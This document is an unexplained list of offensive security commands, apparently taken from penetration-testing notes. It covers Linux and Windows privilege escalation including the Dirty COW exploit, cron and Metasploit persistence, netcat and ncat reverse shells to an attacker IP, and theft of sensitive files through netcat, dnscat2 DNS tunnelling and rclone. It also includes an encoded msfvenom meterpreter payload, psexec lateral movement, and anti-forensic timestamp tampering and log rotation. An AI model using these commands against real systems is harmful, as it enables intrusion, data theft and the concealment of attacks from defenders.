find / -perm -4000 2>/dev/null

./beRoot.py

Msfconsole

search type:exploit platform:[target\_platform] privilege

search type:exploit platform:linux privilege

chmod +x LinEnum.sh ./LinEnum.sh

systeminfo > sysinfo.txt

python windows-exploit-suggester.py -i sysinfo.txt -d 2023-09-05

gcc -pthread dirtyc0w.c -o dirtyc0w

./dirtyc0w target\_filename payload

use exploit/windows/local/persistence set SESSION [SessionID] run

#!/bin/bash

echo "Malicious activity executed at $(date)" >> /tmp/malicious\_log.txt

nc -e /bin/bash 192.168.1.100 4444

echo "\* \* \* \* \* /path/to/malicious/script.sh" >> /etc/crontab

psexec.py [Domain/]Username:Password@TargetIP cmd.exe

nc -lvp 12345 > stolen\_data.txt

nc [attacker's IP] 12345 < /path/to/sensitive/file

dnscat2 --listen

dnscat2 [attacker's domain]

sed -i 's/original/modified/g' /path/to/file

rclone copy /path/to/sensitive/data remote:target\_directory

logrotate -f /etc/logrotate.conf

touch -a -m -t 202201011200.00 /path/to/file

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=[Your IP] LPORT=4444 -f exe -e x86/shikata\_ga\_nai -i 5 > payload.exe

ncat --listen --keep-open --ssl 4444

In the victim's machine:

ncat --ssl [attacker's IP] 4444

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse\_tcp set LHOST [Your IP] set LPORT 4444 run

dnscat2 --listen

On the victim's machine:

dnscat2 [attacker's domain]

uselistener http set Host http://[Your IP] run